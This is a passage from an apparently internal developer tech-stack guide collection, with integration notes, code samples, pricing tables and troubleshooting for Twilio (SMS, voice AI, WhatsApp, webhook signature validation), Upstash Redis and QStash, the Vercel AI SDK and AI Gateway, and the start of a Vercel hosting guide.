const lineType = (result.lineTypeIntelligence as { type?: string } | null)?.type; // "mobile" | "landline" | "nonFixedVoip" | …

Use it to drop landlines from SMS lists and to flag non-fixed VoIP on signup (a common fraud signal). Canadian numbers need NPAC approval, otherwise you get error 60601.

6. Voice and ConversationRelay (voice AI agents)

Outbound calls use TwiML, either inline twiml or a URL that returns it:

const call = await client.calls.create({
  to: "+15619991234",
  from: process.env.TWILIO_PHONE_NUMBER!,
  twiml: '<Response><Say voice="Polly.Joanna">This is a codeAmani appointment reminder.</Say></Response>',
});

ConversationRelay is Twilio's managed voice AI layer. Twilio runs speech-to-text and text-to-speech, and your WebSocket server only exchanges text with your LLM. Point the call at it with TwiML:

import twilio from "twilio";

const vr = new twilio.twiml.VoiceResponse();
const connect = vr.connect({ action: "https://app.example.com/api/twilio/voice/after-relay" });
connect.conversationRelay({
  url: "wss://agent.example.com/relay", // must be wss://
  welcomeGreeting: "Hi, this is the codeAmani assistant. How can I help?",
  ttsProvider: "ElevenLabs",
  transcriptionProvider: "Deepgram",
  interruptible: "any",
  dtmfDetection: true,
});
// return vr.toString() with Content-Type: text/xml

WebSocket protocol (JSON):

From Twilio Meaning
setup Sent once on connect: callSid, from, to, customParameters
prompt Caller speech: voicePrompt, lang, last
interrupt Caller talked over TTS: utteranceUntilInterrupt
dtmf Keypress (only with dtmfDetection)
error Session error
To Twilio Meaning
{ type: "text", token, last } Stream LLM tokens as they arrive. Set last: true on the final token. Don't trim tokens.
{ type: "end" } Hang up the relay, then the <Connect action> URL runs

Security: the WebSocket handshake carries X-Twilio-Signature. Validate it with validateRequest(authToken, signature, "wss://agent.example.com/relay", {}) before accepting the upgrade. A full server is in examples/conversation-relay-server.mts.

Before first use: accept the Predictive and Generative AI/ML Features Addendum under Console > Voice > Settings > Privacy & Security. Without it, ConversationRelay calls fail.

Pricing (US, Aug 2026): ConversationRelay $0.07/min, on top of voice minutes: local outbound $0.0140/min, inbound $0.0085/min, toll-free inbound $0.0220/min. Your LLM cost is separate. Route it per AI policy (Claude primary).

reportInputDuringAgentSpeech now defaults to none (it was any before May 2025). Set it explicitly if your agent relied on barge-in prompts.

7. Secure inbound webhooks (signature validation): required

Every inbound Twilio request (incoming SMS, status callbacks, voice webhooks, the ConversationRelay handshake) hits a public URL. Authenticate it. Twilio signs each request with your Auth Token and sends the result in X-Twilio-Signature:

// app/api/twilio/inbound/route.ts — Next.js App Router (Twilio POSTs application/x-www-form-urlencoded)
import twilio from "twilio";

export async function POST(req: Request): Promise<Response> {
  const signature = req.headers.get("x-twilio-signature") ?? "";
  const form = await req.formData();
  const params: Record<string, string> = {};
  for (const [k, v] of form.entries()) params[k] = String(v);

  // Twilio signs the PUBLIC URL it called. Behind Vercel/Cloudflare, req.url can be the
  // internal origin, so rebuild it from forwarded headers (or pin it via TWILIO_WEBHOOK_BASE_URL).
  const host = req.headers.get("x-forwarded-host") ?? req.headers.get("host");
  const url = `https://${host}/api/twilio/inbound`;

  if (!twilio.validateRequest(process.env.TWILIO_AUTH_TOKEN!, signature, url, params)) {
    return new Response("Invalid signature", { status: 403 });
  }

  // params.From / params.Body are untrusted input: sanitize before storing or rendering.
  const reply = new twilio.twiml.MessagingResponse();
  reply.message("Thanks, we got it.");
  return new Response(reply.toString(), { headers: { "Content-Type": "text/xml" } });
}

On Express, twilio.webhook() reads TWILIO_AUTH_TOKEN, validates, and returns 403 on failure. Mount express.urlencoded({ extended: false }) before it.

Gotcha: the signed URL must match byte-for-byte, including scheme, host, path, and query string. Behind a proxy, rebuild the public URL. An unparsed body produces empty params and a guaranteed mismatch. Pass every received parameter, not a hand-picked list: Twilio adds new parameters without notice. If you rotate the Auth Token, validation uses the primary token, so update TWILIO_AUTH_TOKEN everywhere when you promote the secondary.

8. WhatsApp via Twilio

Use the same messages.create with both addresses prefixed whatsapp:. Use the Sandbox for dev. Production needs a registered WhatsApp sender (Self Sign-up) and approved Content Templates.

// Inside the 24-hour customer-service window: free-form body is fine.
await client.messages.create({
  to: "whatsapp:+15619991234",
  from: process.env.TWILIO_WHATSAPP_FROM!, // "whatsapp:+1…"
  body: "Your codeAmani appointment is confirmed.",
});

// Outside the window (business-initiated): approved template by Content SID (HX…).
await client.messages.create({
  to: "whatsapp:+15619991234",
  from: process.env.TWILIO_WHATSAPP_FROM!,
  contentSid: "HXxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
  contentVariables: JSON.stringify({ 1: "Amina", 2: "Tue 10:00" }),
});

Since 2025-04-01, a template sent as body outside the window fails with 63016. Use contentSid and remove body/mediaUrl. A2P 10DLC doesn't apply to WhatsApp. Meta's template fees are billed on top of Twilio's per-message fee. For template-heavy or Kenya-targeted WhatsApp (where the Meta Cloud API is often cheaper), see the whatsapp-business-api guide.

9. Kenya: Twilio vs Africa's Talking

For Kenya-targeted projects, use Africa's Talking for SMS. These are list prices pulled 2026-10-20:

Twilio → Kenya Africa's Talking (Kenya)
Outbound SMS $0.3134 / segment (international routes) KES 0.8 → 0.4 / SMS on Safaricom by volume tier (Airtel and others KES 0.8 → 0.6), +16% VAT
Local numbers None: domestic and international long codes and short codes are not supported Dedicated and shared short codes (KES 15,000/mo or KES 2,000/mo)
Sender ID Alphanumeric pre-registration (certificate of incorporation). Domestic registrations are not supported, and Safaricom requires registration for coverage Local sender ID / short code provisioning
Two-way SMS No (alphanumeric senders are one-way) Yes (short codes)
Extras — USSD, airtime, M-Pesa adjacency

At roughly 130 KES/USD, one Twilio segment to Kenya costs about 40 KES, around 50–100× the AT price. Use Twilio for Kenya only for Verify OTP to a few international users, or when a US product occasionally texts a Kenyan number. Payments in Kenya-targeted projects still go through M-Pesa (Daraja). Twilio has no part in that flow.


Environment Variables

Secrets (store in the vault / .env.local / Vercel env; never NEXT_PUBLIC_):

TWILIO_AUTH_TOKEN=your_auth_token_here
TWILIO_API_KEY_SECRET=your_api_key_secret_here

Non-secret identifiers and settings (config or .env.local, fine to log):

Variable Example Purpose
TWILIO_ACCOUNT_SID AC… (34 chars) Account identifier
TWILIO_API_KEY_SID SK… API key identifier, paired with the secret
TWILIO_MESSAGING_SERVICE_SID MG… Sender pool + A2P Campaign association
TWILIO_VERIFY_SERVICE_SID VA… One Verify Service per environment
TWILIO_PHONE_NUMBER +15619991234 Voice caller ID / single sender
TWILIO_WHATSAPP_FROM whatsapp:+1… WhatsApp sender
TWILIO_WEBHOOK_BASE_URL https://app.example.com Public base URL used to rebuild signed URLs behind proxies

Use separate Verify Services and Messaging Services per environment so dev traffic and rate limits stay isolated. Mirror these names in ENV_MASTER.md and each project's .env.example.

CLI Integration (optional)

npm install -g twilio-cli          # 7.2.0, requires Node.js >= 22
twilio login                       # stores a profile (API key) locally
twilio api:core:messages:create --from "+15619991234" --to "+15559876543" --body "Hello from codeAmani"
twilio phone-numbers:list
twilio api:lookups:v2:phone-numbers:fetch --phone-number "+15619991234" --fields line_type_intelligence

For local webhook testing, tunnel your dev server (ngrok http 3000) and set the HTTPS URL as the number's or Messaging Service's webhook. Validate signatures against the ngrok URL. More commands are in reference/cli-cheatsheet.md.


Common Use Cases

Use Case Approach
Kenya-targeted SMS / USSD Africa's Talking. Twilio Kenya is $0.3134/segment with no local numbers
US transactional SMS Messaging Service + registered 10DLC Campaign (or verified toll-free) + statusCallback
OTP / phone verification Verify v2. No 10DLC registration needed, $0.05 per success + channel
Screen numbers on signup Lookup v2 line_type_intelligence / sms_pumping_risk
Outbound voice reminder client.calls.create with <Say> TwiML
Voice AI agent / phone receptionist <Connect><ConversationRelay> + WebSocket server + Claude ($0.07/min + voice)
Inbound SMS / IVR Webhook route returning TwiML, signature-validated
WhatsApp (US/global) whatsapp: addresses. Templates by contentSid outside 24h
Nonprofit SMS (donation portal) A2P Charity / 501(c)(3) campaign type ($3/mo)
Agent docs lookup Hosted MCP https://mcp.twilio.com/docs (twilio__search → twilio__retrieve)

Troubleshooting

Issue Fix
30034 on US SMS Number isn't in an approved A2P 10DLC Campaign's Messaging Service. Finish Brand + Campaign and add the number to the sender pool
30032 from a toll-free number Toll-free verification is not approved. Submit or fix it in Console > Phone Numbers > Regulatory Information
30007 carrier filtering Content or opt-in issue. Check that the registered campaign samples match real traffic. Avoid public URL shorteners
validateRequest always false Sign the exact public URL. Rebuild from x-forwarded-host + https behind a proxy, and parse the body first
ConversationRelay connects then drops Handshake signature rejected, url not wss://, or AI/ML addendum not accepted in Console
ConversationRelay voice clipped Don't trim LLM tokens. Send last: true only on the final token
Verify wrong code but no error Expected: status: "pending". Only "approved" means verified
max_attempts_reached / 404 on check The verification is spent or expired (10 min). Start a new one
21610 recipient opted out They replied STOP. Twilio blocks until START. Respect it
21408 / 21606 geo or permission Enable the destination in Messaging Geo Permissions, or use a sender that supports the country
63016 WhatsApp Outside the 24h window, or template sent as body. Use contentSid + contentVariables
60601 Lookup on +1 Canada Needs NPAC approval for Canadian line-type data
Poor delivery / high cost in Kenya Wrong provider. Switch to Africa's Talking
twilio CLI won't start twilio-cli 7.x needs Node.js >= 22

codeAmani notes

Official docs:

Upstash (Redis + QStash) Integration Guide

Technology: upstash · Category: database · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/upstash

Insight:

Upstash is HTTP-based Redis + QStash (+ Workflow, Vector, Search), so it runs on Vercel Edge where TCP clients like ioredis can't. Use Redis for caching and rate-limiting, QStash/Workflow for background jobs — always behind verifySignatureAppRouter. QStash defaults to the EU region, so US-first apps should set QSTASH_URL to the US endpoint. Redis now has built-in full-text search, and a hosted OAuth MCP server lets agents manage the whole account.

██╗   ██╗██████╗ ███████╗████████╗ █████╗ ███████╗██╗  ██╗
██║   ██║██╔══██╗██╔════╝╚══██╔══╝██╔══██╗██╔════╝██║  ██║
██║   ██║██████╔╝███████╗   ██║   ███████║███████╗███████║
██║   ██║██╔═══╝ ╚════██║   ██║   ██╔══██║╚════██║██╔══██║
╚██████╔╝██║     ███████║   ██║   ██║  ██║███████║██║  ██║
 ╚═════╝ ╚═╝     ╚══════╝   ╚═╝   ╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝

Upstash (Redis + QStash) Integration Guide

Focus: Serverless Redis and the QStash message queue (plus Workflow, which is built on QStash), all reached over HTTP/REST. That means they run on Vercel Edge / serverless functions, where persistent TCP connections (e.g. ioredis) aren't allowed. Pay-per-request pricing and scale-to-zero suit codeAmani's low-volume SME workloads.

Overview

Upstash's product line (per the docs index, 2026-10-20): Redis, Vector, QStash, Workflow, Search, Box, and Blob. codeAmani uses these:

Product Package Use it for
Redis @upstash/redis Cache, sessions, feature flags, counters. Since 2026 it also has Redis Search (full-text), Vector commands, and Array commands built in
Ratelimit @upstash/ratelimit Rate limiting on top of Redis (no extra infrastructure)
QStash @upstash/qstash HTTP message queue and scheduler: guaranteed delivery, retries, cron, DLQ, flow control
Workflow @upstash/workflow Durable multi-step functions on top of QStash (context.run / sleep / call / waitForEvent)
Vector @upstash/vector Serverless ANN index for RAG
Search @upstash/search Standalone AI search (full-text + semantic + reranking). Not the same thing as Redis Search

New products we don't use yet: Box (sandboxed cloud containers for running agents), Blob (object storage), and Realtime (React useRealtime, built on Redis Streams + Pub/Sub). Upstash Kafka was shut down on 2025-03-11, so use QStash / Workflow instead.

Context7 is also an Upstash product. It's the live-docs MCP that our Documentation Policy relies on, and it has its own guide in context7/. Upstash's marketing site even advertises a Context7 "ask" endpoint for its docs.

The big picture: every primitive is reached over HTTP/REST from the same edge function.

flowchart LR
  APP["Vercel Edge<br/>Next.js function"] -->|"REST + token"| REDIS["Upstash Redis<br/>cache · rate-limit · search"]
  APP -->|"REST + token"| QSTASH["QStash<br/>queue + scheduler"]
  QSTASH -->|"signed POST + retry"| WORKER["Receiver route<br/>verifySignatureAppRouter"]
  QSTASH -->|"step-by-step"| WF["Workflow endpoint<br/>serve()"]

Official Documentation

Resource URL
Docs home (product index) https://upstash.com/docs/introduction
Redis TS SDK https://upstash.com/docs/redis/sdks/ts/getstarted
Redis Search https://upstash.com/docs/redis/search/introduction
Rate limiting https://upstash.com/docs/redis/sdks/ratelimit-ts/overview
QStash Next.js quickstart https://upstash.com/docs/qstash/quickstarts/vercel-nextjs
QStash signature verification https://upstash.com/docs/qstash/howto/signature
QStash regions (EU / US) https://upstash.com/docs/qstash/howto/multi-region
Workflow Next.js quickstart https://upstash.com/docs/workflow/quickstarts/vercel-nextjs
MCP server https://upstash.com/docs/agent-resources/mcp
Vercel integration https://upstash.com/docs/redis/howto/vercelintegration
Pricing (machine-readable) https://upstash.com/pricing/redis.md, /pricing/qstash.md, /pricing/workflow.md, /pricing/vector.md
Console https://console.upstash.com

1. Get credentials

Create a Redis database and pick a QStash region at console.upstash.com, or install Upstash from the Vercel Marketplace. The Marketplace lists Upstash for Redis, Vector, QStash/Workflow, and Search. It also replaced Vercel KV, which Vercel moved to Upstash Redis in December 2024.

Secrets (server-side only, so they go in .env.local / Vercel env / the vault):

UPSTASH_REDIS_REST_TOKEN=your_redis_rest_token
QSTASH_TOKEN=your_qstash_token
QSTASH_CURRENT_SIGNING_KEY=sig_current_placeholder
QSTASH_NEXT_SIGNING_KEY=sig_next_placeholder

Non-secret settings:

Variable Value Notes
UPSTASH_REDIS_REST_URL https://<name>.upstash.io Read by Redis.fromEnv() together with the token
QSTASH_URL https://qstash-us-east-1.upstash.io Set this for US-first apps. If it's unset, the SDK uses the EU region (https://qstash.upstash.io). Each region has its own token and signing keys
QSTASH_DEV true (local only) @upstash/qstash / @upstash/workflow download and start a local QStash dev server, so you don't need a tunnel. This does nothing when NODE_ENV=production
UPSTASH_VECTOR_REST_URL / UPSTASH_SEARCH_REST_URL per index Each comes with a matching *_REST_TOKEN secret

The Vercel integration injects the variables for you, but redeploy before they take effect. Never put any Upstash token in a NEXT_PUBLIC_* variable.

2. Install

npm install @upstash/redis @upstash/qstash @upstash/ratelimit   # core
npm install @upstash/workflow                                    # durable multi-step jobs
# optional: npm install @upstash/vector @upstash/search
pip install upstash-redis qstash                                 # Python services

Current versions (verified 2026-10-20 via npm view / PyPI JSON): @upstash/redis 1.39.0, @upstash/qstash 2.12.1, @upstash/ratelimit 2.2.0, @upstash/workflow 1.4.0, @upstash/vector 1.2.3, @upstash/search 0.1.7, @upstash/mcp-server 0.3.0, @upstash/redis-mcp 0.1.1. Python: upstash-redis 1.8.0, qstash 3.4.0, upstash-workflow 2.0.0, upstash-vector 0.8.0, upstash-ratelimit 1.2.0. The core API surface (Redis.fromEnv, Ratelimit.slidingWindow, Client.publishJSON, verifySignatureAppRouter) hasn't changed. New since the last review: Client.fromEnv() (qstash 2.12.1), messages.runNow(), redis.search.*, redis.vector.*, and Redis array commands (1.39.0).

3. Redis client

import { Redis } from "@upstash/redis";

// Reads UPSTASH_REDIS_REST_URL + UPSTASH_REDIS_REST_TOKEN from the env
export const redis = Redis.fromEnv();

await redis.set("foo", "bar", { ex: 60 });
const bar = await redis.get<string>("foo");

4. Caching pattern (cache-aside)

Cache-aside works like this: try the cache, and on a miss compute the value, write it back with a TTL, then return it. The TTL caps staleness and storage cost.

flowchart TD
  START["request needs data"] --> GET["redis.get key"]
  GET --> HIT{"cache hit"}
  HIT -->|"yes"| RET["return cached value"]
  HIT -->|"no · miss"| COMPUTE["compute value<br/>db query · API call"]
  COMPUTE --> SET["redis.set key value<br/>ex = TTL seconds"]
  SET --> RET
import { redis } from "@/lib/redis";

export async function cached<T>(
  key: string,
  ttlSeconds: number,
  compute: () => Promise<T>,
): Promise<T> {
  const hit = await redis.get<T>(key);
  if (hit !== null && hit !== undefined) return hit; // cache hit

  const value = await compute(); // miss: do the slow work once
  await redis.set(key, value, { ex: ttlSeconds }); // store with TTL (seconds)
  return value;
}

Gotcha: cache stampede. When a hot key expires, many concurrent requests miss at once and hit the origin together. Fix it with a lock (set(lockKey, "1", { nx: true, ex })), a stale-while-revalidate window, or jittered TTLs. See examples/redis.ts.

5. Rate limiting (protect API routes)

import { Ratelimit } from "@upstash/ratelimit";
import { redis } from "@/lib/redis";
import { after } from "next/server";

const ratelimit = new Ratelimit({
  redis,
  limiter: Ratelimit.slidingWindow(10, "10 s"),
  analytics: true,
  prefix: "rl:api",
});

const { success, limit, reset, pending } = await ratelimit.limit(userId);
after(() => pending); // let analytics / multi-region sync finish after the response
if (!success) return new Response("Too many requests", { status: 429 });

6. QStash: publish a background job

sequenceDiagram
  participant App as "Edge function"
  participant Q as "QStash"
  participant Route as "Receiver route"
  App->>Q: "publishJSON - url + body"
  Q-->>App: "messageId"
  Q->>Route: "POST + Upstash-Signature JWT"
  Route->>Route: "verify signature"
  Route->>Route: "do the slow work (idempotently)"
  Route-->>Q: "2xx"
  Note over Q,Route: "non-2xx: retried (3 by default), then DLQ"
"use server";
import { Client } from "@upstash/qstash";

const qstash = Client.fromEnv(); // QSTASH_TOKEN + QSTASH_URL (or: new Client({ token }))

export async function startBackgroundJob(orderId: string) {
  const { messageId } = await qstash.publishJSON({
    url: "https://<your-app>.vercel.app/api/long-task", // public HTTPS URL
    body: { orderId },
    retries: 3,
    deduplicationId: `order:${orderId}`, // idempotent enqueue
  });
  return messageId;
}

7. QStash: receive and verify the message

Every QStash request carries a JWT in the Upstash-Signature header, signed with your signing key. Always verify it before you act on the payload:

// app/api/long-task/route.ts
import { verifySignatureAppRouter } from "@upstash/qstash/nextjs";

export const POST = verifySignatureAppRouter(async (req: Request) => {
  const body = await req.json();
  // ... do the slow work here (idempotently)
  return new Response("ok");
});

8. Workflow: durable multi-step jobs

Use Workflow when a job has several steps, long waits, or external calls that could outlive a function timeout:

// app/api/workflow/route.ts
import { serve } from "@upstash/workflow/nextjs";

export const { POST } = serve<{ userId: string }>(async (context) => {
  await context.run("create-profile", async () => { /* idempotent write */ });
  await context.sleep("wait-a-day", "1d");
  await context.run("send-email", async () => { /* Resend */ });
});

Trigger it from server code with new Client({ token }).trigger({ url, body, retries }) (from @upstash/workflow). It returns a workflowRunId that starts with wfr_. serve() verifies QStash signatures itself. Billing: run / sleep / sleepUntil / waitForEvent count as 1 step, call / invoke count as 2, and retries plus parallel steps add more. See examples/workflow.ts.

9. Redis Search (built-in, since 2026-03)

Upstash Redis has its own full-text search extension, built on Tantivy and different from RediSearch's FT.* API. It indexes JSON / Hash / String / Stream keys by prefix and stays in sync with normal writes:

import { Redis, s } from "@upstash/redis";
const redis = Redis.fromEnv();

// once, at deploy time (throws if it already exists)
await redis.search.createIndex({
  name: "products", dataType: "json", prefix: "product:",
  schema: s.object({ name: s.string(), category: s.string().noTokenize(), price: s.number("F64") }),
});

const results = await redis.search.index({ name: "products" }).query({ filter: { name: "headphones" } });

If you want hosted semantic + full-text search over documents without managing the data in Redis, use the separate Upstash Search product (@upstash/search, Search.fromEnv().index("docs")).

10. Upstash MCP server (for coding agents)

Upstash ships an MCP server that can manage the whole account across Redis, QStash, Workflow, Vector, Search, Box, and Blob. It has 59 tools, each annotated as read / write / destructive.

Option Setup Auth Coverage
Remote (recommended) claude mcp add --scope user --transport http upstash https://mcp.upstash.com/mcp, then /mcp → Authenticate OAuth (choose account/team scope + read-only) or a Bearer email:API_KEY header All products, plus a console "MCP App"
Local stdio npx -y @upstash/mcp-server@latest --email <email> --api-key <key> Developer API key Redis, QStash, Workflow, Box
Single Redis DB npx -y @upstash/redis-mcp with that DB's REST URL/token in env DB token 2 tools: redis_run_commands, redis_search_docs
One-shot setup npx upstash (or npx -y upstash setup --yes --claude) OAuth Installs the Upstash plugin + skills + remote MCP

Pricing snapshot (2026-10-20)

Product Free Pay as you go Fixed
Redis 250 MB, 500K commands/month, 10 GB bandwidth $0.20 / 100K commands, $0.25/GB storage (first 1 GB free), bandwidth free to 200 GB then $0.03/GB, max 100 GB From $10/mo (250 MB, no per-command billing) up to $1,500/mo (500 GB), plus a per-read-region charge
QStash 1,000 messages/day, 1 MB messages $1 / 100K messages, 10 MB messages, 2-hour max response duration Fixed 1M $180/mo · Fixed 10M $420/mo
Workflow 1,000 steps/day $1 / 100K steps Fixed 1M $180/mo · Fixed 10M $420/mo
Vector 10K queries/day, 1 GB $0.40 / 100K requests $60/mo

The Prod Pack add-on ($200/month per database on Redis) adds an uptime SLA, multi-zone HA, encryption at rest, SOC 2, Prometheus/Datadog, and Insights. The pay-as-you-go plan supports a budget cap. The old Pro 2K / Pro 10K plans are deprecated. Full details are in reference/limits-and-pricing.md.

codeAmani notes

Official docs:

Vercel AI SDK + AI Gateway Integration Guide

Technology: vercel-ai-sdk · Category: ai · Last reviewed: 2026-08-23

Source: https://tech-stack.codeamanilabs.org/guide/vercel-ai-sdk

Insight:

This is the unification layer: one generateText/streamText interface over every provider, with the AI Gateway adding a single key, automatic fallback chains, and cost/latency dashboards. Passing model as a string (provider/model) auto-routes through the Gateway — turning the hand-rolled routing in AI_WORKFLOWS.md into config instead of code.

██╗   ██╗███████╗██████╗  ██████╗███████╗██╗          █████╗ ██╗    ███████╗██████╗ ██╗  ██╗
██║   ██║██╔════╝██╔══██╗██╔════╝██╔════╝██║         ██╔══██╗██║    ██╔════╝██╔══██╗██║ ██╔╝
██║   ██║█████╗  ██████╔╝██║     █████╗  ██║         ███████║██║    ███████╗██║  ██║█████╔╝
╚██╗ ██╔╝██╔══╝  ██╔══██╗██║     ██╔══╝  ██║         ██╔══██║██║    ╚════██║██║  ██║██╔═██╗
 ╚████╔╝ ███████╗██║  ██║╚██████╗███████╗███████╗    ██║  ██║██║    ███████║██████╔╝██║  ██╗
  ╚═══╝  ╚══════╝╚═╝  ╚═╝ ╚═════╝╚══════╝╚══════╝    ╚═╝  ╚═╝╚═╝    ╚══════╝╚═════╝ ╚═╝  ╚═╝

Vercel AI SDK + AI Gateway Integration Guide

Focus: One TypeScript interface (generateText / streamText / generateObject) over every provider codeAmani uses — Anthropic, OpenAI, Gemini, DeepSeek, HuggingFace, ElevenLabs — with AI Gateway adding a single API key, automatic fallback chains, and built-in cost/latency observability. This replaces the hand-rolled routing in AI_WORKFLOWS.md.

Overview

Here is the big picture — one interface, many providers, all routed through a single Gateway:

flowchart LR
  A["Your app code"] --> B["generateText / streamText / generateObject"]
  B --> C["model as string<br/>provider/model"]
  C --> D["AI Gateway<br/>one AI_GATEWAY_API_KEY"]
  D --> E["Anthropic"]
  D --> F["OpenAI"]
  D --> G["Google · DeepSeek · others"]
  E --> H["Streamed tokens + usage"]
  F --> H
  G --> H
  H --> A

Two complementary pieces:

Net effect for codeAmani: the AI routing policy (Claude primary, OpenAI for structured output, HF/others as fallbacks) becomes config, not app code.

Official Documentation

Resource URL
AI SDK intro https://ai-sdk.dev/docs/introduction
Getting started (Node) https://ai-sdk.dev/docs/getting-started/nodejs
Providers list https://ai-sdk.dev/providers/ai-sdk-providers
Tool calling https://ai-sdk.dev/docs/ai-sdk-core/tools-and-tool-calling
AI Gateway docs https://vercel.com/docs/ai-gateway
Gateway auth (AI_GATEWAY_API_KEY) https://vercel.com/docs/ai-gateway/authentication
Gateway provider options (order/only/sort) https://vercel.com/docs/ai-gateway/models-and-providers/provider-options
Gateway model fallbacks (gateway.models) https://vercel.com/docs/ai-gateway/models-and-providers/model-fallbacks

1. Install

npm install ai                       # core — v7 (ai@7.x)
# Optional explicit providers (only if NOT using the string/Gateway form):
npm install @ai-sdk/anthropic @ai-sdk/openai @ai-sdk/google @ai-sdk/deepseek
# React chat UI (separate package):
npm install @ai-sdk/react

Version drift: the core ai package is on v7 (7.x) but the provider and React packages track their own lower major lines — @ai-sdk/react, @ai-sdk/anthropic, @ai-sdk/openai, @ai-sdk/google are all on 4.x, @ai-sdk/deepseek on 3.x. That mismatch is expected; always take the latest tag of each rather than trying to match version numbers to ai. The v4→v5→v7 shape changes are breaking — see the gotchas below and re-verify snippets against the docs before copying.

2. Credentials

# Gateway path (recommended) — one key for all providers:
AI_GATEWAY_API_KEY=...
# OR direct-provider path — one key each:
ANTHROPIC_API_KEY=...
OPENAI_API_KEY=...
GOOGLE_GENERATIVE_AI_API_KEY=...

On Vercel, the Gateway can also authenticate via the deployment's OIDC token (VERCEL_OIDC_TOKEN) with no key at all. Keep every key server-side.

3. Generate text (Gateway via model string)

import { generateText } from "ai";

const { text } = await generateText({
  model: "anthropic/claude-sonnet-5", // string -> routed through AI Gateway
  prompt: "Explain M-Pesa STK Push in one sentence.",
});

Switching providers is a one-line change — "openai/gpt-5", "google/gemini-2.5-flash", "deepseek/deepseek-chat". The surrounding code never changes.

v7 naming (breaking vs. v4/v5): the system prompt field is now instructions: (was system:), the per-response cap is maxOutputTokens: (was maxTokens:), tool schemas use inputSchema: (was parameters:), and multi-step tool loops use stopWhen: isStepCount(n) (import isStepCount from ai; was maxSteps: n). prompt and messages are unchanged.

4. Stream + structured output

import { streamText, generateObject } from "ai";
import { z } from "zod";

const result = streamText({ model: "google/gemini-2.5-flash", prompt });
for await (const chunk of result.textStream) process.stdout.write(chunk);

const { object } = await generateObject({
  model: "openai/gpt-5",
  schema: z.object({ amount: z.number(), phone: z.string() }),
  prompt: "Extract the payment amount and phone from: 'Send 500 to 0712345678'",
});

4a. useChat — streaming chat UI (AI SDK v7)

For a React chat UI, the useChat hook (from @ai-sdk/react) handles message state, streaming, and input wiring; the matching route handler runs streamText on the server and hands the typed stream back with createUIMessageStreamResponse({ stream: toUIMessageStream(...) }). This targets AI SDK v7 — the message shape is UIMessage (rendered via message.parts, not a flat content string), and the client posts through a DefaultChatTransport. Keep the API route server-side so your AI_GATEWAY_API_KEY never reaches the browser.

sequenceDiagram
  participant U as "Browser · useChat"
  participant R as "Route · api/chat"
  participant G as "AI Gateway"
  U->>R: "POST UIMessage list"
  R->>G: "streamText · convertToModelMessages"
  G-->>R: "typed part stream"
  R-->>U: "createUIMessageStreamResponse"
// app/(public)/chat/page.tsx
"use client";

import { useChat } from "@ai-sdk/react";
import { DefaultChatTransport } from "ai";
import { useState } from "react";

export default function Chat() {
  const { messages, sendMessage } = useChat({
    transport: new DefaultChatTransport({ api: "/api/chat" }),
  });
  const [input, setInput] = useState("");

  return (
    <div>
      {messages.map((m) => (
        <div key={m.id}>
          <strong>{m.role}: </strong>
          {m.parts.map((part, i) =>
            part.type === "text" ? <span key={i}>{part.text}</span> : null,
          )}
        </div>
      ))}

      <form
        onSubmit={(e) => {
          e.preventDefault();
          if (!input.trim()) return;
          sendMessage({ text: input });
          setInput("");
        }}
      >
        <input
          value={input}
          placeholder="Uliza chochote..."
          onChange={(e) => setInput(e.target.value)}
        />
      </form>
    </div>
  );
}
// app/api/chat/route.ts
import {
  streamText,
  convertToModelMessages,
  createUIMessageStreamResponse,
  toUIMessageStream,
  type UIMessage,
} from "ai";

export const maxDuration = 30; // allow streaming responses up to 30s

export async function POST(req: Request) {
  const { messages }: { messages: UIMessage[] } = await req.json();

  const result = streamText({
    model: "anthropic/claude-sonnet-5", // string -> AI Gateway
    instructions: "You are a helpful assistant for Kenyan SMEs.",
    messages: await convertToModelMessages(messages),
  });

  return createUIMessageStreamResponse({
    stream: toUIMessageStream({ stream: result.stream }),
  });
}

Gotcha: the v7 route handler wraps the result's typed part stream with toUIMessageStream({ stream: result.stream }) and returns it via createUIMessageStreamResponse(...). (The older result.toUIMessageStreamResponse() still works as a shorthand — Vercel's Gateway docs use it — but the two-call form above is the current canonical shape and is what the AI SDK docs show. Both replace the v4 toDataStreamResponse().) You must pass await convertToModelMessages(messages) to streamText — handing the raw UIMessage[] (with parts) straight to the model throws. The client reads message.parts, so there is no message.content string to render. Note the system prompt is instructions: in v7, not system:.

5. Fallback chains (the replacement for hand-rolled routing)

You can let the Gateway handle failover automatically — here is the order it walks:

flowchart TD
  A["Request"] --> B["Primary<br/>anthropic/claude-sonnet-5"]
  B --> Q1{"Primary OK?"}
  Q1 -->|"yes"| Z["Return text"]
  Q1 -->|"fails"| C["Fallback 1<br/>openai/gpt-5"]
  C --> Q2{"Fallback 1 OK?"}
  Q2 -->|"yes"| Z
  Q2 -->|"fails"| D["Fallback 2<br/>google/gemini-2.5-flash"]
  D --> Z
const { text } = await generateText({
  model: "anthropic/claude-sonnet-5", // primary
  prompt,
  providerOptions: {
    gateway: {
      models: ["openai/gpt-5", "google/gemini-2.5-flash"], // tried in order if primary fails
      // order: ["anthropic", "vertex"], // or pin provider routing order
    },
  },
});

The gateway.models fallback array now has its own docs page — Model Fallbacks (linked above). order / only / sort (provider routing) live on the Provider Options page. Both are configured under providerOptions.gateway.

Cost, latency, and tokens-per-model are visible in the AI Gateway dashboard — no custom metrics code needed.

codeAmani notes

Official docs:

Vercel Integration Guide

Technology: vercel · Category: hosting · Last reviewed: 2026-08-23

Source: https://tech-stack.codeamanilabs.org/guide/vercel

Insight:

Vercel is the primary host: a git push to master auto-deploys (this dashboard runs that way). Fluid Compute is now the default runtime — full Node.js (24 LTS), Active-CPU pricing, and functions that can even hold WebSockets and 100 MB request bodies — so stay on it and treat the Edge runtime as legacy (Vercel no longer recommends it). Per-PR preview deploys are the safe way to test before production.

██╗   ██╗███████╗██████╗  ██████╗███████╗██╗
██║   ██║██╔════╝██╔══██╗██╔════╝██╔════╝██║
██║   ██║█████╗  ██████╔╝██║     █████╗  ██║
╚██╗ ██╔╝██╔══╝  ██╔══██╗██║     ██╔══╝  ██║
 ╚████╔╝ ███████╗██║  ██║╚██████╗███████╗███████╗
  ╚═══╝  ╚══════╝╚═╝  ╚═╝ ╚═════╝╚══════╝╚══════╝

Vercel Integration Guide

Focus: Deploying, inspecting, and automating Vercel projects from inside Claude Code using the official Vercel MCP server and Vercel CLI.

Overview

